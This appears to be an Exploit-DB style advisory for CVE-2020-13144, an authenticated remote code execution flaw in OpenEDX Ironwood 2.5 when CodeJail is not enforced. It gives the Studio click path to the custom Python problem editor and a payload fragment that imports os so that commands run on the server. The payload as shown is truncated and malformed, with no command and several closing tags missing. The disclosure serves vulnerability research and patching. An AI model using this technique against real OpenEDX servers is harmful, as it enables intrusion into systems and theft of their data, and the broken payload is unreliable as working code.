# Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution  
# Google Dork: N/A  
# Date: 2020-05-20  
# Exploit Author: Daniel Monzón (stark0de)  
# Vendor Homepage:  
# Software Link:  
# Version: Ironwood 2.5  
# Tested on: Debian x64  
# CVE : CVE-2020-13144  
CVE ID: CVE-2020-13144  
OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail ( is not enforced  
This is an authenticated vulnerability, so you need to register an account, go to /edx-studio  
Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code  
Once here we just need to edit the problem and introduce a payload such as:  
<script type="python">  
def test_add(expect,ans):  
import os  
<p>Problem text</p>  
<customresponse cfn="test_add" expect="20">  
<textline size="10" correct_answer="11" label="Integer #1"/><br/>  
<textline size="10" correct_answer="9" label="Integer #2"/>  
<div class="detailed-solution">  
<p>Solution or Explanation Heading</p>  
<p>Solution or explanation text</p>  
And click Submit, and you will execute commands in the machine